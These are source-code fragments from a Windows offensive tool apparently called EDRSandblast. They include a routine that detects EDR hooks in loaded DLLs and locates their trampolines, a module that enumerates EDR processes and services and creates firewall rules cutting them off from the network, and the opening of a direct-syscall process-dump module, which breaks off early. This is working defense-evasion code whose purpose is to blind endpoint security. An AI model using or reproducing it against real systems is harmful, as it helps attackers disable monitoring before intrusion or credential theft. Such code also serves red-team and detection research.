PVOID mem_dllImageBase = currentModuleEntry->DllBase;
|
||||
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
|
||||
if (NULL == memDLL->exportDirectory) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
|
||||
continue;
|
||||
}
|
||||
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
PE* diskDLL = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(diskDLL, memDLL->baseAddress);
|
||||
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
|
||||
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
|
||||
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
|
||||
|
||||
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
|
||||
continue;
|
||||
|
||||
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
|
||||
//check if hook was already detected in this function (due to export aliasing)
|
||||
BOOL alreadyChecked = FALSE;
|
||||
for (size_t i = 0; i < hookList_i; i++) {
|
||||
if (hooksList[i].mem_function == mem_functionStart) {
|
||||
alreadyChecked = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
if (alreadyChecked)
|
||||
continue;
|
||||
|
||||
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
|
||||
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
|
||||
hooksFoundInLastModule = TRUE;
|
||||
PVOID jmpTarget = hookResolver(mem_functionStart);
|
||||
if (NULL == jmpTarget) {
|
||||
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
|
||||
}
|
||||
else {
|
||||
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
|
||||
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
|
||||
printf(" ");
|
||||
}
|
||||
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
|
||||
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer,
|
||||
functionName,
|
||||
jmpTarget,
|
||||
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
|
||||
);
|
||||
}
|
||||
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize *= 2;
|
||||
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||
if (hooksList == NULL) {
|
||||
debugf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
hooksList[hookList_i].mem_function = mem_functionStart;
|
||||
hooksList[hookList_i].disk_function = disk_functionStart;
|
||||
hooksList[hookList_i].functionName = functionName;
|
||||
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
|
||||
hookList_i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf("\tNo hooks found in this module.\n");
|
||||
}
|
||||
if (csvFileName) {
|
||||
fclose(csvFile);
|
||||
}
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize++;
|
||||
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||
if (NULL == hooksList) {
|
||||
printf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
hooksList[hookList_i].mem_function = NULL;
|
||||
hooksList[hookList_i].disk_function = NULL;
|
||||
hooksList[hookList_i].functionName = NULL;
|
||||
|
||||
return hooksList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
|
||||
*/
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
|
||||
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
|
||||
PE* ntdllPE_mem_l = NULL;
|
||||
PE* ntdllPE_disk_l = NULL;
|
||||
|
||||
if (ntdllMemPe_g == NULL) {
|
||||
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
|
||||
}
|
||||
else {
|
||||
ntdllPE_mem_l = ntdllMemPe_g;
|
||||
}
|
||||
if (ntdllDiskPe_g == NULL) {
|
||||
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
exit(1);
|
||||
}
|
||||
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
|
||||
}
|
||||
else {
|
||||
ntdllPE_disk_l = ntdllDiskPe_g;
|
||||
}
|
||||
|
||||
if (ntdllPE_mem) {
|
||||
*ntdllPE_mem = ntdllPE_mem_l;
|
||||
}
|
||||
if (ntdllPE_disk) {
|
||||
*ntdllPE_disk = ntdllPE_disk_l;
|
||||
}
|
||||
}
|
||||
|
||||
void test_trampoline_search()
|
||||
{
|
||||
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
|
||||
{
|
||||
PVOID trampoline = NULL;
|
||||
printf("Looking for %s trampoline ...\n", h->functionName);
|
||||
for (diff* d = h->list_patches; d->disk_ptr; ++d)
|
||||
{
|
||||
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
|
||||
if (trampoline)
|
||||
{
|
||||
printf("\tTrampoline found at %p !\n", trampoline);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!trampoline)
|
||||
printf("\tTRAMPOLINE NOT FOUND !\n");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,451 @@
|
||||
/*
|
||||
|
||||
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
|
||||
|
||||
*/
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Firewalling.h"
|
||||
|
||||
HRESULT FirewallBlockEDRBinaries(fwBlockingRulesList* sFWEntries) {
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
// Create the Firewall blocking rules.
|
||||
for (fwBinaryRules* slistNewFWEntry = sFWEntries->first; slistNewFWEntry != NULL; slistNewFWEntry=slistNewFWEntry->next) {
|
||||
slistNewFWEntry->ruleInboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
|
||||
slistNewFWEntry->ruleOutboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
|
||||
if (!(slistNewFWEntry->ruleInboundName && slistNewFWEntry->ruleOutboundName)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not allocate memory to create Firewall blocking rules for \"%s\"\n"), slistNewFWEntry->binaryPath);
|
||||
return 1;
|
||||
}
|
||||
|
||||
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_IN, slistNewFWEntry->ruleInboundName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while creating the Firewall inbound blocking rule for \"%s\" (CreateFirewallRuleBlockBinary failed: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully created Firewall inbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleInboundName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_OUT, slistNewFWEntry->ruleOutboundName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while creating the Firewall outbound blocking rule for \"%s\" (failed with: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully created Firewall outbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleOutboundName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
// Enumerates the process, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
|
||||
NTSTATUS EnumEDRProcess(fwBlockingRulesList* sFWEntries) {
|
||||
PROCESSENTRY32 pe32;
|
||||
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
|
||||
HANDLE hProcess = INVALID_HANDLE_VALUE;
|
||||
TCHAR binaryPath[MAX_PATH];
|
||||
DWORD szBinaryPath = _countof(binaryPath);
|
||||
|
||||
fwBinaryRules* slistNewFWEntry = NULL;
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_putts_or_not(TEXT("[!] Could not get a snapshot of the system's processes (CreateToolhelp32Snapshot)"));
|
||||
return -1;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_putts_or_not(TEXT("[!] Could not retrieve information about the first process (Process32First)"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
do {
|
||||
if (pe32.th32ProcessID == 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[*] Couldn't open handle on process (OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION) %ld\n"), pe32.th32ProcessID);
|
||||
continue;
|
||||
}
|
||||
|
||||
szBinaryPath = _countof(binaryPath);
|
||||
if (!QueryFullProcessImageName(hProcess, 0, binaryPath, &szBinaryPath)) {
|
||||
_tprintf_or_not(TEXT("[*] Couldn't query image information of process with PID %ld (QueryFullProcessImageName failed with 0x%x)\n"), pe32.th32ProcessID, GetLastError());
|
||||
CloseHandle(hProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (isFileSignatureMatchingEDR(binaryPath) || isBinaryPathMatchingEDR(binaryPath)) {
|
||||
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
|
||||
if (!slistNewFWEntry) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry)\n"), pe32.th32ProcessID);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
slistNewFWEntry->binaryPath = _tcsdup(binaryPath);
|
||||
if (!slistNewFWEntry->binaryPath) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry->binaryPath)\n"), pe32.th32ProcessID);
|
||||
goto cleanup;
|
||||
}
|
||||
fwList_insertSorted(sFWEntries, slistNewFWEntry);
|
||||
_tprintf_or_not(TEXT("[+] Found EDR binary in execution (process with PID %i): \"%s\"\n"), pe32.th32ProcessID, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
CloseHandle(hProcess);
|
||||
hProcess = INVALID_HANDLE_VALUE;
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
if (hProcessSnap != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hProcessSnap);
|
||||
}
|
||||
|
||||
if (hProcess != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Enumerates the Windows services, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
|
||||
NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) {
|
||||
SC_HANDLE hSCManager = NULL;
|
||||
SC_HANDLE hService = NULL;
|
||||
ENUM_SERVICE_STATUS_PROCESS* lpServices = NULL;
|
||||
QUERY_SERVICE_CONFIG* lpServiceConfig = 0;
|
||||
TCHAR serviceBinaryPath[MAX_PATH];
|
||||
TCHAR serviceBinaryPathCopy[MAX_PATH];
|
||||
DWORD lpServicesCount = 0;
|
||||
DWORD dwByteCount = 0, dwBytesNeeded = 0;
|
||||
DWORD dwError = 0;
|
||||
BOOL returnValue;
|
||||
|
||||
fwBinaryRules* slistNewFWEntry = NULL;
|
||||
|
||||
// Open an handle on the Service Control Manager.
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
|
||||
if (!hSCManager) {
|
||||
_tprintf_or_not(TEXT("[!] Error while opening handle on the SCM (OpenSCManager failed: 0x%08lx)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Query services through the Service Control Manager, first call always fail due to insufficient buffer size.
|
||||
do {
|
||||
if (lpServices) {
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
}
|
||||
|
||||
dwByteCount = dwByteCount + dwBytesNeeded;
|
||||
lpServices = (ENUM_SERVICE_STATUS_PROCESS*)calloc(dwByteCount, sizeof(BYTE));
|
||||
if (!lpServices) {
|
||||
_putts_or_not(TEXT("[!] Failed to allocate memory to enumerate services"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
returnValue = EnumServicesStatusEx(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_KERNEL_DRIVER | SERVICE_WIN32 | SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS, SERVICE_STATE_ALL, (LPBYTE)lpServices, dwByteCount, &dwBytesNeeded, &lpServicesCount, NULL, NULL);
|
||||
if (!returnValue) {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
else {
|
||||
dwError = 0;
|
||||
}
|
||||
} while (dwError == ERROR_MORE_DATA);
|
||||
|
||||
if (dwError != ERROR_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) {
|
||||
dwByteCount = 0;
|
||||
dwBytesNeeded = 0;
|
||||
|
||||
hService = OpenService(hSCManager, lpServices[dwIndex].lpServiceName, SERVICE_QUERY_CONFIG);
|
||||
if (!hService) {
|
||||
_tprintf_or_not(TEXT("[!] Could not open handle on service \"%s\" (\"%s\")\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
|
||||
continue;
|
||||
}
|
||||
|
||||
do {
|
||||
if (lpServiceConfig) {
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
}
|
||||
|
||||
lpServiceConfig = (QUERY_SERVICE_CONFIG*)calloc(dwBytesNeeded, sizeof(BYTE));
|
||||
if (!lpServiceConfig) {
|
||||
_putts_or_not(TEXT("[!] Failed to allocate memory to retrieve service configuration"));
|
||||
goto cleanup;
|
||||
}
|
||||
dwByteCount = dwBytesNeeded;
|
||||
|
||||
returnValue = QueryServiceConfig(hService, lpServiceConfig, dwByteCount, &dwBytesNeeded);
|
||||
if (!returnValue) {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
else {
|
||||
dwError = 0;
|
||||
}
|
||||
} while (dwError == ERROR_INSUFFICIENT_BUFFER);
|
||||
|
||||
if (dwError != 0) {
|
||||
_tprintf_or_not(TEXT("[!] Could not query information of service \"%s\" (\"%s\") (QueryServiceConfig failed: 0x%08lx)\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName, dwError);
|
||||
continue;
|
||||
}
|
||||
|
||||
// If binary path is empty, skip service.
|
||||
if (lpServiceConfig->lpBinaryPathName[0] == '\0') {
|
||||
continue;
|
||||
}
|
||||
_tcscpy_s(serviceBinaryPathCopy, _countof(serviceBinaryPathCopy), lpServiceConfig->lpBinaryPathName);
|
||||
|
||||
// replace \SystemRoot\ with %systemroot%\
|
||||
TCHAR* prefix = TEXT("\\SystemRoot\\");
|
||||
SIZE_T prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
serviceBinaryPathCopy[0] = '%';
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len - 1));
|
||||
memmove(&serviceBinaryPathCopy[prefix_len], &serviceBinaryPathCopy[prefix_len - 1], sizeDisplacement);
|
||||
serviceBinaryPathCopy[prefix_len - 1] = '%';
|
||||
}
|
||||
|
||||
// Remove \\??\\
|
||||
prefix = TEXT("\\??\\");
|
||||
prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len));
|
||||
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[prefix_len], sizeDisplacement);
|
||||
}
|
||||
|
||||
// insert %systemroot%\ before system32\
|
||||
prefix = TEXT("system32");
|
||||
prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1);
|
||||
const TCHAR * new_prefix = TEXT("%SystemRoot%\\");
|
||||
SIZE_T new_prefix_len = _tcslen(new_prefix);
|
||||
memmove(&serviceBinaryPathCopy[new_prefix_len], &serviceBinaryPathCopy[0], sizeDisplacement);
|
||||
memcpy(serviceBinaryPathCopy, new_prefix, new_prefix_len * sizeof(TCHAR));
|
||||
}
|
||||
|
||||
// Remove double quotes (replace "xxxxx" with xxxxx).
|
||||
TCHAR * positionSpace = NULL;
|
||||
if (serviceBinaryPathCopy[0] == '"') {
|
||||
TCHAR * positionSecondQuote = _tcschr(&serviceBinaryPathCopy[1], '"');
|
||||
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[1], sizeof(TCHAR) * (positionSecondQuote - &serviceBinaryPathCopy[1]));
|
||||
positionSecondQuote[-1] = '\0';
|
||||
}
|
||||
else
|
||||
// Rermove arguments (replace driver.sys -qsdq azkeaze to driver.sys).
|
||||
if ((positionSpace = _tcschr(serviceBinaryPathCopy, ' ')) != NULL) {
|
||||
*positionSpace = '\0';
|
||||
}
|
||||
|
||||
returnValue = ExpandEnvironmentStrings(serviceBinaryPathCopy, serviceBinaryPath, _countof(serviceBinaryPath));
|
||||
if (!returnValue) {
|
||||
_tprintf_or_not(TEXT("[!] Error while attempting to expand service binary path \"%s\" (ExpandEnvironmentStrings failed: : 0x%08lx)\n"), serviceBinaryPathCopy, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// check if resulting path is a file, and if it's not missing its extension
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
SIZE_T posExtension = _tcslen(serviceBinaryPath);
|
||||
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".exe"));
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".sys"));
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
_tprintf_or_not(TEXT("[!] Did not find service binary '%s' (sanitized path: '%s')\n"), lpServiceConfig->lpBinaryPathName, serviceBinaryPath);
|
||||
// NB : If unquoted service path -> should also print this error message
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (isFileSignatureMatchingEDR(serviceBinaryPath) || isDriverPathMatchingEDR(serviceBinaryPath)) {
|
||||
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
|
||||
if (!slistNewFWEntry) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
slistNewFWEntry->binaryPath = _tcsdup(serviceBinaryPath);
|
||||
if (!slistNewFWEntry->binaryPath) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry->binaryPath) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
fwList_insertSorted(sFWEntries, slistNewFWEntry);
|
||||
_tprintf_or_not(TEXT("[+] Found EDR binary executed through a service name \"%s\" | path \"%s\"\n"), lpServices[dwIndex].lpServiceName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
if (!CloseServiceHandle(hService)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
//_tprintf_or_not(TEXT("[*] Found service: name => \"%s\" | Display name => \"%s\".\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
|
||||
}
|
||||
|
||||
if (!CloseServiceHandle(hSCManager)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
if (hService) {
|
||||
if (!CloseServiceHandle(hService)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (hSCManager) {
|
||||
if (!CloseServiceHandle(hSCManager)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (lpServiceConfig) {
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
}
|
||||
|
||||
if (lpServices) {
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
HRESULT FirewallBlockEDR(fwBlockingRulesList* sFWEntries) {
|
||||
BOOL isElevatedProcess = FALSE;
|
||||
BOOL firewallIsOn = FALSE;
|
||||
DWORD ntStatus = 0;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
isElevatedProcess = IsElevatedProcess();
|
||||
if (!isElevatedProcess) {
|
||||
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to add Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
hrStatus = IsFirewallEnabled(&firewallIsOn);
|
||||
if (FAILED(hrStatus)) {
|
||||
_putts_or_not(TEXT("[!] Could not configure Firewall EDR blocking rules: an error occured while attempting to determine the FireWall status"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if (!firewallIsOn) {
|
||||
_putts_or_not(TEXT("[*] The Windows Firewall is NOT active for all active profiles, skipping adding Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
_putts_or_not(TEXT("[+] The Windows Firewall is on for all active profiles!"));
|
||||
|
||||
_putts_or_not(TEXT("[*] Enumerating EDR processes.."));
|
||||
ntStatus = EnumEDRProcess(sFWEntries);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR processes"));
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[*] Enumerating EDR services.."));
|
||||
ntStatus = EnumEDRServices(sFWEntries);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR services"));
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[*] Blocking EDR found processes / services's binaries..."));
|
||||
hrStatus = FirewallBlockEDRBinaries(sFWEntries);
|
||||
if (FAILED(hrStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while attempting to create Firewall blocking rules for EDR processes / services"));
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
HRESULT FirewallUnblockEDR(fwBlockingRulesList* sFWEntries) {
|
||||
BOOL isElevatedProcess = FALSE;
|
||||
HRESULT hrStatusFinal = S_OK;
|
||||
HRESULT hrStatusTemp = S_OK;
|
||||
|
||||
isElevatedProcess = IsElevatedProcess();
|
||||
if (!isElevatedProcess) {
|
||||
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to remove Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
|
||||
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleInboundName);
|
||||
if (FAILED(hrStatusTemp)) {
|
||||
hrStatusFinal = hrStatusTemp;
|
||||
}
|
||||
|
||||
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleOutboundName);
|
||||
if (FAILED(hrStatusTemp)) {
|
||||
hrStatusFinal = hrStatusTemp;
|
||||
}
|
||||
}
|
||||
|
||||
return hrStatusFinal;
|
||||
}
|
||||
|
||||
void FirewallPrintManualDeletion(fwBlockingRulesList* sFWEntries) {
|
||||
_putts_or_not(TEXT("[*] The Firewall blocking rules created can be manually deleted using the following commands:"));
|
||||
|
||||
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
|
||||
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleInboundName);
|
||||
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleOutboundName);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL fwList_isEmpty(fwBlockingRulesList* fwEntries) {
|
||||
return fwEntries->first == NULL;
|
||||
};
|
||||
|
||||
BOOL fwListElt_isBefore(fwBinaryRules* a, fwBinaryRules* b) {
|
||||
return _tcscmp(a->binaryPath, b->binaryPath) < 0;
|
||||
};
|
||||
|
||||
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry) {
|
||||
fwBinaryRules* first = fwEntries->first;
|
||||
// if first element comes after, insert at the head
|
||||
if (fwList_isEmpty(fwEntries) || fwListElt_isBefore(newFWEntry, first)) {
|
||||
// insert newFWEntry at the head of the list
|
||||
newFWEntry->next = fwEntries->first;
|
||||
fwEntries->first = newFWEntry;
|
||||
return;
|
||||
}
|
||||
|
||||
// browse list from the start until next element comes after (or is equal to) our new element
|
||||
fwBinaryRules* ptr;
|
||||
for (ptr = fwEntries->first;
|
||||
(ptr->next != NULL) && fwListElt_isBefore(ptr->next, newFWEntry);
|
||||
ptr = ptr->next);
|
||||
// if end of the list, or new entry is different to the next one (no duplicate), insert it
|
||||
if ((ptr->next == NULL) || fwListElt_isBefore(newFWEntry, ptr->next)) {
|
||||
// insert newFWEntry after ptr
|
||||
newFWEntry->next = ptr->next;
|
||||
ptr->next = newFWEntry;
|
||||
}
|
||||
else {
|
||||
// duplicate entry, do nothing
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,503 @@
|
||||
#include <Windows.h>
|
||||
#include <minidumpapiset.h>
|
||||
|
||||
#include "ListUtils.h"
|
||||
#include "RemotePEBBrowser.h"
|
||||
#include "StringUtils.h"
|
||||
#include "SyscallProcessUtils.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
#include "Undoc.h"
|
||||
|
||||
#include "ProcessDumpDirectSyscalls.h"
|
||||
|
||||
VOID writeAtRVA(DUMP_CONTEXT* dumpContext, ULONG32 rva, const PVOID data, unsigned size) {
|
||||
memcpy(GetRVA((ULONG_PTR) dumpContext->BaseAddress, rva), data, size);
|
||||
}
|
||||
|
||||
BOOL appendToDump(DUMP_CONTEXT* dumpContext, const PVOID data, DWORD size) {
|
||||
ULONG32 newRVA = dumpContext->RVA + size;
|
||||
if (newRVA < dumpContext->RVA) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: exceeds the 32-bit address space (int overflow)\n"));
|
||||
return FALSE;
|
||||
}
|
||||
else if (dumpContext->DumpMaxSize < newRVA) {
|
||||
while(dumpContext->DumpMaxSize < newRVA){
|
||||
